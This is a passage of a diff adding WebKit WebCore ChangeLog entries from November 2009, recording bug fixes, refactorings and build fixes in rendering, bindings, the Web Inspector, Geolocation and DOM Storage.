+        Changed all forward declarations of ResourceRequest to have class in the forward
+        declaration instead of struct and changed the definition of ResourceRequest to be class
+        and added access qualifiers where missing. Additionally two references of friend
+        struct ResourceRequestBase changed to class instead.
+
+        * history/HistoryItem.h:
+        * inspector/InspectorController.h:
+        * inspector/InspectorResource.h:
+        * loader/DocumentThreadableLoader.h:
+        * loader/FrameLoaderClient.h:
+        * loader/MainResourceLoader.h:
+        * loader/ResourceLoadNotifier.h:
+        * loader/SubresourceLoader.h:
+        * loader/SubresourceLoaderClient.h:
+        * loader/ThreadableLoader.h:
+        * loader/WorkerThreadableLoader.h:
+        * loader/appcache/ApplicationCache.h:
+        * loader/appcache/ApplicationCacheHost.h:
+        * platform/CrossThreadCopier.h:
+        * platform/network/ResourceHandle.h:
+        * platform/network/ResourceHandleClient.h:
+        * platform/network/ResourceRequestBase.h:
+        * platform/network/cf/ResourceRequest.h:
+        * platform/network/cf/ResourceRequestCFNet.h:
+        * platform/network/chromium/ResourceRequest.h:
+        * platform/network/curl/ResourceRequest.h:
+        * platform/network/qt/ResourceRequest.h:
+        * platform/network/soup/ResourceRequest.h:
+        * xml/XMLHttpRequest.h:
+
+2009-11-08  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/7363434> Crash inside RenderObject::localToAbsolute
+        below FrameView::layout
+        https://bugs.webkit.org/show_bug.cgi?id=31093
+
+        Test: fast/block/positioning/relative-positioned-inline-container.html
+
+        In <http://trac.webkit.org/changeset/19148>, setStaticY() was changed
+        to mark the object for layout, doing so without marking its ancestors.
+        However, RenderBlock::skipLeadingWhitespace and
+        RenderBlock::skipTrailingWhitespace() call setStaticY() on a relative-
+        positioned inline container, causing it to be marked for layout without
+        ever going back to give it layout, and thus layout could end with a
+        dirty object still in the tree, leading to all sorts of badness.
+
+        The fix is to revert setStaticY() to not marking the object dirty, and
+        instead do it in the call sites that require it, which are in
+        RenderBlock and RenderFlexibleBox.
+
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::adjustPositionedBlock):
+        * rendering/RenderFlexibleBox.cpp:
+        (WebCore::RenderFlexibleBox::layoutHorizontalBox):
+        (WebCore::RenderFlexibleBox::layoutVerticalBox):
+        * rendering/RenderLayer.cpp:
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::setStaticY):
+
+2009-11-07  Daniel Bates  <dbates@webkit.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=20780
+        
+        Fixes an issue where the onchange event handler is not fired when the 
+        input field is autocompleted.
+        
+        We cannot test this using DRT since DRT cannot emulate autocompletion.
+        So, a manual-test is included.
+
+        Tests: manual-tests/autocompletion-fire-onchange.html
+
+        * manual-tests/autocompletion-fire-onchange.html: Added.
+        * rendering/RenderTextControl.cpp:
+        (WebCore::RenderTextControl::setInnerTextValue):
+
+2009-11-07  Benjamin Otte  <otte@gnome.org>
+
+        Reviewed by Holger Freyther.
+
+        Mark redrawn areas on image surfaces as dirty.
+
+        This is required to conform to the Cairo API, but is currently only
+        used by debugging tools like cairo-trace.
+
+        * platform/graphics/cairo/ImageBufferCairo.cpp:
+        (WebCore::ImageBuffer::platformTransformColorSpace):
+        (WebCore::putImageData):
+
+2009-11-07  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
+
+        Reviewed by Xan Lopez.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30878
+        [Gtk] atk_text_get_text() fails in entries when the end_offset is -1
+
+        If the end_offset is -1, use the String length as the end_offset.
+
+        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
+        (webkit_accessible_text_get_text):
+
+2009-11-06  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=31219 Clean up 
+        GraphicsContext's current concept of ColorSpace
+
+        ColorSpace is now called ColorType. The variables on the state we 
+        appropriately re-named as well. I removed strokeColorSpace() and 
+        fillColorSpace() from GraphicsContext since they were never called. 
+
+        * platform/graphics/GraphicsContext.cpp:
+        (WebCore::GraphicsContext::setStrokeColor):
+        (WebCore::GraphicsContext::setFillColor):
+        (WebCore::GraphicsContext::setStrokePattern):
+        (WebCore::GraphicsContext::setFillPattern):
+        (WebCore::GraphicsContext::setStrokeGradient):
+        (WebCore::GraphicsContext::setFillGradient):
+        * platform/graphics/GraphicsContext.h:
+        (WebCore::):
+        * platform/graphics/GraphicsContextPrivate.h:
+        (WebCore::GraphicsContextState::GraphicsContextState):
+        * platform/graphics/cairo/GraphicsContextCairo.cpp:
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        * platform/graphics/cg/GraphicsContextCG.cpp:
+        (WebCore::calculateDrawingMode):
+        (WebCore::GraphicsContext::drawPath):
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::fillRect):
+        (WebCore::GraphicsContext::strokeRect):
+        * platform/graphics/qt/GraphicsContextQt.cpp:
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::strokePath):
+        (WebCore::GraphicsContext::fillRect):
+        * platform/graphics/wince/GraphicsContextWince.cpp:
+        (WebCore::GraphicsContext::fillPath):
+        (WebCore::GraphicsContext::fillRect):
+
+2009-11-06  Brian Weinstein  <bweinstein@apple.com>
+
+        Reviewed by Tim Hatcher.
+
+        Fixes <http://webkit.org/b/31177>.
+        Web Inspector: Bind backspace to delete cookies and DOM Storage.
+        
+        Refactor editing code from DOMStorageDataGrid to DataGrid, so other
+        places in the inspector can use editing in DataGrid (added a FIXME for
+        some stuff that needs to be generalized).
+        
+        Also added deleting functionality to DataGrid, and implemented it for
+        Cookies and DOM Storage. The reason this patch is so big is because of
+        the refactoring of editing code, which won't be used yet in a cross-datagrid
+        way, but should be able to.
+        
+        Additionally, moved the callbacks members from DOMStorageDataGrid to
+        DOMStorageItemsView, which allowed us to delete DOMStorageDataGrid, to 
+        make the architecture of DOM Storage look a lot more like the Cookies view.
+        
+        Lastly, added a preventDefault call in ElementsTreeOutline to prevent the 
+        inspector from beeping at you when you delete an element.
+
+        * WebCore.gypi: Removed DOMStorageDataGrid.
+        * WebCore.vcproj/WebCore.vcproj: Removed DOMStorageDataGrid.
+        * inspector/front-end/CookieItemsView.js:
+        (WebInspector.CookieItemsView.prototype.dataGridForCookies):
+        (WebInspector.CookieItemsView.prototype._deleteButtonClicked):
+        (WebInspector.CookieItemsView.prototype._deleteCookieCallback):
+        * inspector/front-end/DOMStorageDataGrid.js: Removed.
+        * inspector/front-end/DOMStorageItemsView.js:
+        (WebInspector.DOMStorageItemsView.prototype._dataGridForDOMStorageEntries):
+        (WebInspector.DOMStorageItemsView.prototype._deleteButtonClicked):
+        (WebInspector.DOMStorageItemsView.prototype._refreshButtonClicked):
+        (WebInspector.DOMStorageItemsView.prototype._editingCallback):
+        (WebInspector.DOMStorageItemsView.prototype.deleteSelectedRow):
+        (WebInspector.DOMStorageItemsView.prototype._deleteCallback):
+        * inspector/front-end/DataGrid.js:
+        (WebInspector.DataGrid):
+        (WebInspector.DataGrid.prototype._ondblclick): Moved from DOMStorageDataGrid to DataGrid + Refactoring.
+        (WebInspector.DataGrid.prototype._startEditingColumnOfDataGridNode): Ditto.
+        (WebInspector.DataGrid.prototype._startEditing): Ditto.
+        (WebInspector.DataGrid.prototype._editingCommitted.moveToNextIfNeeded): Ditto.
+        (WebInspector.DataGrid.prototype._editingCommitted): Ditto.
+        (WebInspector.DataGrid.prototype._editingCancelled): Ditto.
+        (WebInspector.DataGrid.prototype.handleKeyEvent): Added case for delete/backspace.
+        * inspector/front-end/ElementsTreeOutline.js:
+        (WebInspector.ElementsTreeOutline.prototype.handleKeyEvent): Added preventDefault call.
+        * inspector/front-end/WebKit.qrc: Removed DOMStorageDataGrid.
+        * inspector/front-end/inspector.html: Removed DOMStorageDataGrid.
+
+2009-11-06  Geoffrey Garen  <ggaren@apple.com>
+
+        Qt build fix: added an ExecState parameter.
+
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::convertValueToQVariant):
+        (JSC::Bindings::convertQVariantToValue):
+
+2009-11-06  Geoffrey Garen  <ggaren@apple.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=31197
+        Implemented a timezone cache not based on Mac OS X's notify_check API.
+
+        Updated for JavaScriptCore internal API change.
+
+        * bridge/qt/qt_runtime.cpp:
+        (JSC::Bindings::convertValueToQVariant):
+        (JSC::Bindings::convertQVariantToValue): Updated for namespace change.
+
+        * platform/network/HTTPParsers.cpp:
+        (WebCore::parseDate): Pass 0 for ExecState, since we don't have one.
+        (This function probably shouldn't be using a JavaScript date parser
+        to begin with, but oh well.)
+
+2009-11-06  Anantanarayanan G Iyengar  <ananta@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        The associated webkit bug is https://bugs.webkit.org/show_bug.cgi?id=31067,
+        which affects Chromium only.
+        
+        Changes to V8HTMLDocumentCustom.cpp are as below:-
+        1. The HTMLDocumentOpen function would cause a crash in Chromium if
+           there was no calling javascript context. We now check for this case
+           and pass in NULL to the HTMLDocument::open function which can handle
+           a NULL document parameter.
+        2. The other functions like HTMLDocumentWrite, HTMLDocumentWriteln, etc
+           had ASSERTS for a NULL caller frame, which was bogus as it would crash
+           anyway. We now check for this case and return a failure.
+           
+        Changes to V8DOMWindowCustom.cpp are as below:-
+        1. Instead of failing the window.open call made by NPAPI for lack of a
+           calling javascript context, we now use the entered context as the calling
+           context.
+
+        Tests: plugins/document-open.html
+               plugins/window-open.html
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        * bindings/v8/custom/V8HTMLDocumentCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+
+2009-11-06  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Geolocation error code UNKNOWN_ERROR is deprecated.
+        https://bugs.webkit.org/show_bug.cgi?id=31184
+
+        Remove this error code from PositionError, both for use from C++ code and from the JS object.
+
+        Updated fast/dom/Geolocation/error.html to test this.
+
+        * page/PositionError.h: Modified.
+        (WebCore::PositionError::): Remove ErrorCode::UNKNOWN_ERROR.
+        * page/PositionError.idl: Modified. Remove UNKNOWN_ERROR constant.
+        * page/Geolocation.cpp: Modified.
+        (WebCore::Geolocation::startRequest): Replace UNKNOWN_ERROR with POSITION_UNAVAILABLE.
+        * platform/gtk/GeolocationServiceGtk.cpp: Modified.
+        (WebCore::GeolocationServiceGtk::startUpdating): Replace UNKNOWN_ERROR with POSITION_UNAVAILABLE.
+
+2009-11-06  Dirk Schulze  <krit@webkit.org>
+
+        Reviewed by Nikolas Zimmermann.
+
+        feMorphology filter is not implemented
+        [https://bugs.webkit.org/show_bug.cgi?id=5863]
+
+        The Implementation of feMorphology.
+        
+        Test: We have allready a test for feMorphology
+              svg/W3C-SVG-1.1/filters-morph-01-f.svg
+
+        * svg/graphics/filters/SVGFEMorphology.cpp:
+        (WebCore::FEMorphology::apply):
+
+2009-11-06  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        V8DOMWindowCustom.cpp is missing WEB_SOCKETS guard on include.
+        https://bugs.webkit.org/show_bug.cgi?id=31209
+
+        Build fix only. No new tests possible.
+
+        * bindings/v8/custom/V8DOMWindowCustom.cpp: Modified. Added WEB_SOCKETS guard on inclue of WebSockets.h.
+
+2009-11-06  Drew Wilson  <atwilson@chromium.org>
+
+        Reviewed by David Levin.
+
+        V8 bindings do not support SharedWorkers as event targets
+        https://bugs.webkit.org/show_bug.cgi?id=31199
+
+        No new tests because existing layout tests suffice (they currently
+        crash on Chromium)
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::convertEventTargetToV8Object):
+        Added clause to create a DOM wrapper for SharedWorkers.
+
+2009-11-06  Anton Muhin  <antonm@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Do not unnecessarly synchronzie in weak reference callbacks.
+        https://bugs.webkit.org/show_bug.cgi?id=31191
+
+        * bindings/v8/DOMData.h:
+        (WebCore::DOMData::handleWeakObject):
+
+2009-11-06  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Fix resource content search.
+        https://bugs.webkit.org/show_bug.cgi?id=31202
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype.refresh):
+        (WebInspector.AbstractTimelinePanel.prototype.removeItem):
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelineGraph.prototype.refresh):
+
+2009-11-05  Yuta Kitamura  <yutak@chromium.org>
+
+        Reviewed by Eric Seidel.
+
+        Fix ASSERT(currentStyle = renderStyle()).
+        https://bugs.webkit.org/show_bug.cgi?id=31152
+
+        * dom/Element.cpp:
+        (WebCore::Element::pseudoStyleCacheIsInvalid): We should have used "==" instead of "=".
+
+2009-11-05  Alpha Lam  <hclam@chromium.org>
+
+        Revert 50562 because it broke Chromium. Not reviewed since this is a build fix and revert.
+
+        * bindings/v8/V8GCController.cpp:
+        (WebCore::V8GCController::gcEpilogue):
+        * bindings/v8/V8GCController.h:
+        * bindings/v8/V8Proxy.cpp:
+        (WebCore::V8Proxy::evaluate):
+        (WebCore::V8Proxy::runScript):
+        (WebCore::V8Proxy::callFunction):
+
+2009-11-05  Adam Barth  <abarth@webkit.org>
+
+        Reviewed by Sam Weinig.
+
+        Cross-domain access to stylesheet text should not be allowed
+        https://bugs.webkit.org/show_bug.cgi?id=20527
+
+        Check whether whether the current document can read the cssRules from
+        the style sheet.  Firefox throws a security error here, but we return
+        null instead because that's what we usually do in these cases.
+
+        Test: http/tests/security/cannot-read-cssrules-redirect.html
+              http/tests/security/cannot-read-cssrules.html
+
+        * css/CSSStyleSheet.cpp:
+        (WebCore::CSSStyleSheet::cssRules):
+
+2009-11-05  Steve Block  <steveblock@google.com>
+
+        Reviewed by Eric Seidel.
+
+        If the Geolocation service fails to start, invoke the error callback asynchronously.
+        https://bugs.webkit.org/show_bug.cgi?id=28276
+
+        All Geolocation callbacks must be invoked asynchronously.
+        See http://www.w3.org/TR/geolocation-API/#geolocation_interface
+
+        No new tests possible with current LayoutTestController.
+
+        * page/Geolocation.cpp:
+        (WebCore::Geolocation::getCurrentPosition): Modified. Asserts that startRequest returned a notifier.
+        (WebCore::Geolocation::watchPosition): Modified. Asserts that startRequest returned a notifier.
+        (WebCore::Geolocation::startRequest): Modified. If the Geolocation service fails to start, set a fatal error on the notifier.
+
+2009-11-05  Chris Jerdonek  <chris.jerdonek@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        Removed the "this is part of the KDE project" comments from 
+        all *.h, *.cpp, *.idl, and *.pm files.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=31167
+        
+        The maintenance and architecture page in the project wiki lists
+        this as a task.
+        
+        This change includes no changes or additions to test cases 
+        since the change affects only comments.
+
+        * bindings/scripts/CodeGeneratorV8.pm:
+        * bindings/scripts/IDLParser.pm:
+        * bindings/scripts/IDLStructure.pm:
+        * css/CSSInheritedValue.cpp:
+        * css/CSSInitialValue.cpp:
+        * css/CSSMediaRule.cpp:
+        * css/CSSNamespace.h:
+        * css/CSSProperty.cpp:
+        * css/CSSProperty.h:
+        * css/CSSRuleList.cpp:
+        * css/CSSRuleList.h:
+        * css/CSSSelector.h:
+        * css/CSSValueList.cpp:
+        * css/FontValue.cpp:
+        * css/MediaFeatureNames.cpp:
+        * css/MediaFeatureNames.h:
+        * css/Pair.h:
+        * css/SVGCSSStyleSelector.cpp:
+        * css/ShadowValue.cpp:
+        * css/StyleSheet.cpp:
+        * css/StyleSheetList.cpp:
+        * css/maketokenizer:
+        * dom/BeforeUnloadEvent.cpp:
+        * dom/BeforeUnloadEvent.h:
+        * dom/CSSMappedAttributeDeclaration.cpp:
+        * dom/EventNames.cpp:
+        * dom/EventTarget.cpp:
+        * dom/MappedAttributeEntry.h:
+        * dom/MouseRelatedEvent.h:
+        * dom/RangeException.h:
+        * dom/StyleElement.h:
+        * dom/Tokenizer.h:
+        * html/HTMLHeadElement.h:
+        * html/HTMLHeadingElement.cpp:
+        * html/HTMLHeadingElement.h:
+        * html/HTMLHtmlElement.h:
+        * html/HTMLImageLoader.h:
+        * html/HTMLMetaElement.h:
+        * html/HTMLModElement.cpp:
+        * html/HTMLModElement.h:
+        * html/HTMLOptionsCollection.cpp:
+        * html/HTMLPlugInElement.cpp:
+        * html/HTMLPreElement.cpp:
+        * html/HTMLPreElement.h:
+        * html/HTMLTableCellElement.cpp:
+        * html/HTMLTableCellElement.h:
+        * html/HTMLTableColElement.cpp:
+        * html/HTMLTableColElement.h:
+        * html/HTMLTablePartElement.cpp:
+        * html/HTMLTablePartElement.h:
+        * html/HTMLTitleElement.h:
+        * page/MouseEventWithHitTestResults.h:
+        * platform/StaticConstructors.h:
+        * platform/text/AtomicStringImpl.h:
+        * platform/text/qt/TextBreakIteratorQt.cpp:
+        * rendering/AutoTableLayout.h:
+        * rendering/CounterNode.cpp:
+        * rendering/EllipsisBox.cpp:
+        * rendering/EllipsisBox.h:
+        * rendering/FixedTableLayout.cpp:
+        * rendering/FixedTableLayout.h:
+        * rendering/HitTestRequest.h:
+        * rendering/HitTestResult.h:
+        * rendering/InlineRunBox.h:
+        * rendering/PointerEventsHitRules.cpp:
+        * rendering/PointerEventsHitRules.h:
+        * rendering/RenderBR.cpp:
+        * rendering/RenderBR.h:
+        * rendering/RenderButton.cpp:
+        * rendering/RenderButton.h:
+        * rendering/RenderFieldset.cpp:
+        * rendering/RenderFrameSet.cpp:
+        * rendering/RenderListItem.cpp:
+        * rendering/RenderTableRow.cpp:
+        * rendering/RenderView.h:
+        * rendering/RootInlineBox.h:
+        * rendering/SVGInlineTextBox.cpp:
+        * rendering/SVGInlineTextBox.h:
+        * rendering/TableLayout.h:
+        * rendering/break_lines.h:
+        * rendering/style/SVGRenderStyle.cpp:
+        * rendering/style/SVGRenderStyle.h:
+        * rendering/style/SVGRenderStyleDefs.cpp:
+        * rendering/style/SVGRenderStyleDefs.h:
+        * svg/GradientAttributes.h:
+        * svg/LinearGradientAttributes.h:
+        * svg/PatternAttributes.h:
+        * svg/RadialGradientAttributes.h:
+        * svg/SVGAElement.cpp:
+        * svg/SVGAngle.idl:
+        * svg/SVGAnimateColorElement.cpp:
+        * svg/SVGAnimateColorElement.h:
+        * svg/SVGAnimateElement.cpp:
+        * svg/SVGAnimateElement.h:
+        * svg/SVGAnimateTransformElement.h:
+        * svg/SVGAnimatedPathData.cpp:
+        * svg/SVGAnimatedPathData.h:
+        * svg/SVGAnimatedPoints.cpp:
+        * svg/SVGAnimatedPoints.h:
+        * svg/SVGAnimationElement.cpp:
+        * svg/SVGCircleElement.cpp:
+        * svg/SVGClipPathElement.cpp:
+        * svg/SVGColor.cpp:
+        * svg/SVGColor.idl:
+        * svg/SVGComponentTransferFunctionElement.cpp:
+        * svg/SVGComponentTransferFunctionElement.h:
+        * svg/SVGCursorElement.cpp:
+        * svg/SVGDefsElement.cpp:
+        * svg/SVGDescElement.cpp:
+        * svg/SVGDescElement.h:
+        * svg/SVGDocument.idl:
+        * svg/SVGElement.idl:
+        * svg/SVGElementInstanceList.cpp:
+        * svg/SVGElementInstanceList.h:
+        * svg/SVGEllipseElement.cpp:
+        * svg/SVGExternalResourcesRequired.cpp:
+        * svg/SVGFEBlendElement.cpp:
+        * svg/SVGFEBlendElement.h:
+        * svg/SVGFEColorMatrixElement.cpp:
+        * svg/SVGFEColorMatrixElement.h:
+        * svg/SVGFEComponentTransferElement.cpp:
+        * svg/SVGFEComponentTransferElement.h:
+        * svg/SVGFECompositeElement.cpp:
+        * svg/SVGFECompositeElement.h:
+        * svg/SVGFEFloodElement.cpp:
+        * svg/SVGFEFloodElement.h:
+        * svg/SVGFEFuncAElement.cpp:
+        * svg/SVGFEFuncAElement.h:
+        * svg/SVGFEFuncBElement.cpp:
+        * svg/SVGFEFuncBElement.h:
+        * svg/SVGFEFuncGElement.cpp:
+        * svg/SVGFEFuncGElement.h:
+        * svg/SVGFEFuncRElement.cpp:
+        * svg/SVGFEFuncRElement.h:
+        * svg/SVGFEGaussianBlurElement.cpp:
+        * svg/SVGFEGaussianBlurElement.h:
+        * svg/SVGFEImageElement.cpp:
+        * svg/SVGFEMergeElement.cpp:
+        * svg/SVGFEMergeElement.h:
+        * svg/SVGFEMergeNodeElement.cpp:
+        * svg/SVGFEOffsetElement.cpp:
+        * svg/SVGFEOffsetElement.h:
+        * svg/SVGFETileElement.cpp:
+        * svg/SVGFETileElement.h:
+        * svg/SVGFETurbulenceElement.cpp:
+        * svg/SVGFETurbulenceElement.h:
+        * svg/SVGFilterElement.cpp:
+        * svg/SVGGElement.cpp:
+        * svg/SVGGradientElement.cpp:
+        * svg/SVGHKernElement.idl:
+        * svg/SVGLangSpace.cpp:
+        * svg/SVGLangSpace.h:
+        * svg/SVGLength.cpp:
+        * svg/SVGLength.h:
+        * svg/SVGLength.idl:
+        * svg/SVGLengthList.cpp:
+        * svg/SVGLengthList.h:
+        * svg/SVGLineElement.cpp:
+        * svg/SVGLinearGradientElement.h:
+        * svg/SVGList.h:
+        * svg/SVGListTraits.h:
+        * svg/SVGLocatable.h:
+        * svg/SVGMaskElement.cpp:
+        * svg/SVGMatrix.idl:
+        * svg/SVGMetadataElement.cpp:
+        * svg/SVGMetadataElement.h:
+        * svg/SVGMetadataElement.idl:
+        * svg/SVGNumber.idl:
+        * svg/SVGNumberList.cpp:
+        * svg/SVGNumberList.h:
+        * svg/SVGPaint.cpp:
+        * svg/SVGPathElement.cpp:
+        * svg/SVGPathSeg.h:
+        * svg/SVGPathSegArc.cpp:
+        * svg/SVGPathSegArc.h:
+        * svg/SVGPathSegClosePath.cpp:
+        * svg/SVGPathSegClosePath.h:
+        * svg/SVGPathSegCurvetoCubic.cpp:
+        * svg/SVGPathSegCurvetoCubic.h:
+        * svg/SVGPathSegCurvetoCubicSmooth.cpp:
+        * svg/SVGPathSegCurvetoCubicSmooth.h:
+        * svg/SVGPathSegCurvetoQuadratic.cpp:
+        * svg/SVGPathSegCurvetoQuadratic.h:
+        * svg/SVGPathSegCurvetoQuadraticSmooth.cpp:
+        * svg/SVGPathSegCurvetoQuadraticSmooth.h:
+        * svg/SVGPathSegLineto.cpp:
+        * svg/SVGPathSegLineto.h:
+        * svg/SVGPathSegLinetoHorizontal.cpp:
+        * svg/SVGPathSegLinetoHorizontal.h:
+        * svg/SVGPathSegLinetoVertical.cpp:
+        * svg/SVGPathSegLinetoVertical.h:
+        * svg/SVGPathSegMoveto.cpp:
+        * svg/SVGPathSegMoveto.h:
+        * svg/SVGPatternElement.cpp:
+        * svg/SVGPoint.idl:
+        * svg/SVGPointList.cpp:
+        * svg/SVGPointList.h:
+        * svg/SVGPolyElement.cpp:
+        * svg/SVGPolygonElement.cpp:
+        * svg/SVGPolygonElement.h:
+        * svg/SVGPolylineElement.cpp:
+        * svg/SVGPolylineElement.h:
+        * svg/SVGPreserveAspectRatio.cpp:
+        * svg/SVGPreserveAspectRatio.h:
+        * svg/SVGRadialGradientElement.h:
+        * svg/SVGRect.idl:
+        * svg/SVGRectElement.cpp:
+        * svg/SVGRenderingIntent.h:
+        * svg/SVGSVGElement.idl:
+        * svg/SVGScriptElement.cpp:
+        * svg/SVGSetElement.cpp:
+        * svg/SVGSetElement.h:
+        * svg/SVGStopElement.cpp:
+        * svg/SVGStringList.cpp:
+        * svg/SVGStringList.h:
+        * svg/SVGStylable.cpp:
+        * svg/SVGStylable.h:
+        * svg/SVGStyleElement.cpp:
+        * svg/SVGStyleElement.h:
+        * svg/SVGStyledElement.h:
+        * svg/SVGStyledLocatableElement.cpp:
+        * svg/SVGStyledLocatableElement.h:
+        * svg/SVGStyledTransformableElement.cpp:
+        * svg/SVGStyledTransformableElement.h:
+        * svg/SVGSwitchElement.cpp:
+        * svg/SVGSymbolElement.cpp:
+        * svg/SVGTRefElement.cpp:
+        * svg/SVGTSpanElement.cpp:
+        * svg/SVGTSpanElement.h:
+        * svg/SVGTests.h:
+        * svg/SVGTextElement.cpp:
+        * svg/SVGTextElement.h:
+        * svg/SVGTextPathElement.cpp:
+        * svg/SVGTextPositioningElement.cpp:
+        * svg/SVGTextPositioningElement.h:
+        * svg/SVGTitleElement.cpp:
+        * svg/SVGTitleElement.h:
+        * svg/SVGTransform.cpp:
+        * svg/SVGTransform.h:
+        * svg/SVGTransform.idl:
+        * svg/SVGTransformList.cpp:
+        * svg/SVGTransformList.h:
+        * svg/SVGTransformable.h:
+        * svg/SVGURIReference.h:
+        * svg/SVGUnitTypes.h:
+        * svg/SVGUseElement.cpp:
+        * svg/SVGViewElement.cpp:
+        * svg/SVGZoomAndPan.cpp:
+        * svg/SVGZoomAndPan.h:
+        * svg/SVGZoomEvent.cpp:
+
+2009-11-05  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        REGRESSION Clean up security origin usage in DOM Storage.
+        https://bugs.webkit.org/show_bug.cgi?id=31188
+
+        Clean up security origin usage in DOM Storage.  This fixes a bug in my
+        refactoring here: https://bugs.webkit.org/show_bug.cgi?id=31149
+
+        Instead of having StorageAreaSync's constructor (which is called in the
+        constructor for StorageAreaImpl) calling a method on StoargeAreaImpl to get the
+        database identifier, simply have StorageAreaImpl pass the identifier into
+        StorageAreaSync.
+
+        No test because there's no change in externally observable behavior.
+
+        * storage/StorageAreaImpl.cpp:
+        (WebCore::StorageAreaImpl::StorageAreaImpl):
+        * storage/StorageAreaImpl.h:
+        * storage/StorageAreaSync.cpp:
+        (WebCore::StorageAreaSync::create):
+        (WebCore::StorageAreaSync::StorageAreaSync):
+        * storage/StorageAreaSync.h:
+
+2009-11-05  Scott Violet  <sky@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        Need notification of scrolling frame
+        https://bugs.webkit.org/show_bug.cgi?id=31145
+
+        Adds FrameLoaderClient::didChangeScrollOffset that is called when
+        the frame scrolls. This will be used to know when history state
+        needs to be updated.
+
+        * loader/FrameLoaderClient.h:
+        (WebCore::FrameLoaderClient::didChangeScrollOffset):
+        * page/FrameView.cpp:
+        (WebCore::FrameView::valueChanged):
+
+2009-11-05  Kenneth Russell  <kbr@google.com>
+
+        Reviewed by Dimitri Glazkov.
+
+        [V8] Update bindings to use new API for external arrays
+        https://bugs.webkit.org/show_bug.cgi?id=31181
+
+        No new tests; covered by existing WebGL tests.
+
+        * bindings/v8/V8DOMWrapper.cpp:
+        (WebCore::V8DOMWrapper::setIndexedPropertiesToExternalArray):
+        (WebCore::V8DOMWrapper::getTemplate):
+        (WebCore::V8DOMWrapper::convertToV8Object):
+        * bindings/v8/V8DOMWrapper.h:
+        * bindings/v8/custom/V8CanvasArrayCustom.h:
+        (WebCore::constructCanvasArray):
+
+2009-11-05  Alpha Lam  <hclam@chromium.org>
+
+        Not reviewed, Chromium build fix.
+
+        50561 introduces a custom method for SVGMatrix, we need to implement
+        this in V8.
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        Adding definition for V8SVGMatrixMultiply.
+        * bindings/v8/custom/V8SVGMatrixCustom.cpp:
+        (WebCore::CALLBACK_FUNC_DECL):
+        Implement V8SVGMatrixMultiply according to the same method in JSC.
+
+2009-11-05  Jeremy Orlow  <jorlow@chromium.org>
+
+        Revert 50569 since it broke QT.  Build fix and just a revert, so no review.
+
+        * page/DOMWindow.cpp:
+        (WebCore::DOMWindow::sessionStorage):
+        * page/Settings.cpp:
+        (WebCore::Settings::Settings):
+        (WebCore::Settings::setSessionStorageEnabled):
+        * page/Settings.h:
+        (WebCore::Settings::sessionStorageEnabled):
+
+2009-11-05  Pavel Feldman  <pfeldman@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        REGRESSION: Web Inspector doesn't show CSS rules properly for iframes
+
+        https://bugs.webkit.org/show_bug.cgi?id=30884
+
+        Test: inspector/styles-iframe.html
+
+        * inspector/front-end/DOMAgent.js:
+        (WebInspector.DOMNode):
+        * inspector/front-end/InjectedScript.js:
+        (InjectedScript.getStyles):
+        (InjectedScript.getComputedStyle):
+        (InjectedScript.addStyleSelector):
+        * inspector/front-end/TestController.js:
+        (WebInspector.TestController.prototype.notifyDone):
+        (WebInspector.TestController.prototype.runAfterPendingDispatches):
+        (WebInspector.evaluateForTestInFrontend.invokeMethod):
+        (WebInspector.evaluateForTestInFrontend):
+
+2009-11-05  Vitaly Repeshko  <vitalyr@chromium.org>
+
+        Reviewed by Geoffrey Garen and Dimitri Glazkov.
+
+        Rehashing of EventListenerMap leads to loss of EvenListenerList.
+        https://bugs.webkit.org/show_bug.cgi?id=31027
+
+        Tested by new fast/events/event-listener-map-rehash-crash.html.
+
+        EventListenerMap modified to store pointers to listener vectors:
+        * dom/EventTarget.cpp:
+        (WebCore::EventTargetData::~EventTargetData):
+        (WebCore::EventTarget::addEventListener):
+        (WebCore::EventTarget::removeEventListener):
+        (WebCore::EventTarget::fireEventListeners):
+        (WebCore::EventTarget::getEventListeners):
+        (WebCore::EventTarget::removeAllEventListeners):
+        * dom/EventTarget.h:
+
+        Usages updated after interface changes:
+        * inspector/InspectorDOMAgent.cpp:
+        (WebCore::InspectorDOMAgent::getEventListenersForNode):
+        * svg/SVGUseElement.cpp:
+        (WebCore::SVGUseElement::transferEventListenersToShadowTree):
+
+2009-11-05  Dan Kegel  <dank@chromium.org>
+
+        Reviewed by Dmitri Titov.
+
+        Add missing initialization for m_createdByParser.
+        https://bugs.webkit.org/show_bug.cgi?id=31089
+
+        Test: fast/dom/beforeload/pi-before-load.xhtml in Valgrind
+
